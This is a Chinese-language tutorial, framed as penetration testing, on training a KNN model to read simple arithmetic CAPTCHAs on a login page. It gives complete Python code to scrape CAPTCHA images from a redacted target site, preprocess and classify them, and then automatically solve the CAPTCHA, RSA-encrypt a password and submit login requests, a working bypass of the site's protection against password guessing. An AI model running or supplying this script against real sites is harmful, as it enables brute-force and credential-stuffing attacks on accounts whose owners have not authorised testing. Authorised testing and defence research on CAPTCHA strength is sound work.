训练验证码识别模型对抗登录验证码
字数 869 2025-08-07 08:22:18
验证码识别模型训练与对抗技术详解
0x00 前言
在渗透测试场景中,许多业务站点的登录系统都采用验证码机制。当验证码不是前端验证类型时,无法直接使用Burp Suite等工具进行弱密码爆破测试。而现有的验证码识别API大多收费,因此本文介绍如何通过机器学习训练验证码识别模型,用于对抗渗透测试中的验证码防护。
0x01 基本框架
验证码识别对抗的整体流程如下:
- 爬取目标验证码图片
- 对验证码进行字符切割和预处理
- 训练验证码识别模型
- 在渗透测试中调用模型识别验证码
0x02 爬取验证码图片
验证码示例
目标站点的验证码为简单的数学运算形式,如"3x4=?"。
爬取方法
验证码接口为/auth/code,返回base64编码的图片数据。使用Python脚本批量下载:
import requests
import base64
import json
for i in range(1, 101):
url = "https://xxxxxx/auth/code"
headers = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0)"}
res = requests.get(url, headers=headers,verify=False)
result = json.loads(res.text)['img']
img_data = result.split(",")[-1]
binary_img_data = base64.b64decode(img_data)
with open ('./download_img/%d.png' % i, 'wb') as f:
f.write(binary_img_data)
0x03 字符切割与预处理
1. 人工标注
将下载的验证码图片按内容命名,如"3x4.png"。为提高模型准确性,建议收集足够数量的样本。
2. 图片切割
验证码通常包含三个部分:第一个数字、运算符和第二个数字。切割代码如下:
def cut_image(image, num, img_name):
im = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
im_cut_1 = im[5:33, 3:23] # 第一个数字
im_cut_2 = im[5:33, 26:46] # 运算符
im_cut_3 = im[5:33, 48:68] # 第二个数字
im_cut = [im_cut_1, im_cut_2, im_cut_3]
for i in range(3):
im_temp = del_noise(im_cut[i])
cv2.imwrite('./test/'+str(num)+ '_' + str(i)+'_'+img_name[i]+'.jpg', im_temp)
3. 去噪处理
采用灰度直方图分析去除背景噪声:
def del_noise(im_cut):
bins = 13
num_gray = math.ceil(256 / bins)
hist = cv2.calcHist([im_cut], [0], None, [bins], [0, 256])
lists = [hist[i][0] for i in range(len(hist))]
second_max = sorted(lists)[-2]
bins_second_max = lists.index(second_max)
mode = (bins_second_max+0.5) * num_gray
for i in range(len(im_cut)):
for j in range(len(im_cut[0])):
if im_cut[i][j] < mode - 15 or im_cut[i][j] > mode + 15:
im_cut[i][j] = 255
return im_cut
0x04 训练验证码模型
KNN算法原理
K近邻算法(KNN)工作原理:
- 存在带标签的训练样本集
- 输入新数据后,计算其特征与样本集中数据的相似度
- 选择k个最相似数据中出现次数最多的分类作为新数据的分类
- 本文选择k=5
模型训练代码
import numpy as np
from sklearn import neighbors
import os
from sklearn.preprocessing import LabelBinarizer
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report
import joblib
import cv2
# 数据准备
data = []
labels = []
img_dir = './test'
img_name = os.listdir(img_dir)
for i in range(len(img_name)):
path = os.path.join(img_dir, img_name[i])
image = cv2.imread(path)
im = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
image = im.reshape(-1)
data.append(image)
y_temp = img_name[i][-5]
labels.append(y_temp)
# 标签二值化
y = LabelBinarizer().fit_transform(labels)
x = np.array(data)
y = np.array(y)
# 拆分训练集和测试集
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2)
# 训练KNN分类器
clf = neighbors.KNeighborsClassifier(n_neighbors=5)
clf.fit(x_train, y_train)
# 保存模型
joblib.dump(clf, './knn.pkl')
# 评估模型
result = clf.score(x_test,y_test)
print("准确率:%d%%"%(result*100))
class_name = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '-', 'x']
print(classification_report(y_train, clf.predict(x_train), target_names=class_name))
print(classification_report(y_test, clf.predict(x_test), target_names=class_name))
0x05 渗透测试调用
验证码识别流程
- 获取验证码图片和UUID
- 调用模型识别验证码内容
- 计算验证码结果
- 使用RSA加密密码
- 提交登录请求
完整渗透代码
import requests
import json
import base64
import cv2
import numpy as np
import rsa
from predict_code import predict
base_url = "https://XXXX.xxxxx.cn:9045/"
public_key = "公钥XXXXXXXXXXXXXX"
headers = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0)"}
def get_img():
req = requests.get(base_url + "auth/code",headers=headers,verify=False)
data = json.loads(req.text)
img_bs = base64.b64decode(data["img"].replace("data:image/png;base64,", ""))
nparr = np.frombuffer(img_bs, np.uint8)
img = cv2.imdecode(nparr, cv2.COLOR_BGR2RGB)
return data["uuid"], img
def cal_img(img):
pre1 = predict(img, 3, 23) # 第一个数字
pre2 = predict(img, 26, 46) # 运算符
if pre2 == '-2': pre2 = '+'
elif pre2 == '-1': pre2 = '-'
elif pre2 == '10': pre2 = '*'
pre3 = predict(img, 48, 68) # 第二个数字
return eval(''.join((pre1, pre2, pre3)))
def rsa_encrypt(text):
rsa_key = rsa.PublicKey.load_pkcs1_openssl_pem(public_key)
info = rsa.encrypt(text, rsa_key)
return base64.b64encode(info)
def login(username, password):
for i in range(3): # 重试3次
uuid, img = get_img()
code = cal_img(img)
password_cipher = rsa_encrypt(password.encode()).decode()
login_data = {
"username": username,
"password": password_cipher,
"code": code,
"uuid": uuid
}
resp = requests.post(base_url + "auth/login", json=login_data, headers=headers,verify=False)
if resp.status_code == 200:
return resp.json()["token"]
if __name__ == "__main__":
token = login(username="我是账号", password="我是密码")
print("登录成功:" if token else "登录失败", token)
关键点总结
- 验证码采集:需要足够数量的样本提高模型准确性
- 预处理技术:灰度化、字符切割和去噪是关键步骤
- 模型选择:KNN算法简单有效,适合简单验证码识别
- 渗透集成:需处理验证码UUID和密码加密等额外防护
- 实际应用:模型准确率需达到实际可用水平(本文达到100%)
通过这套方法,可以有效对抗简单的数学运算类验证码,为渗透测试提供便利。对于更复杂的验证码,可能需要采用CNN等更高级的模型。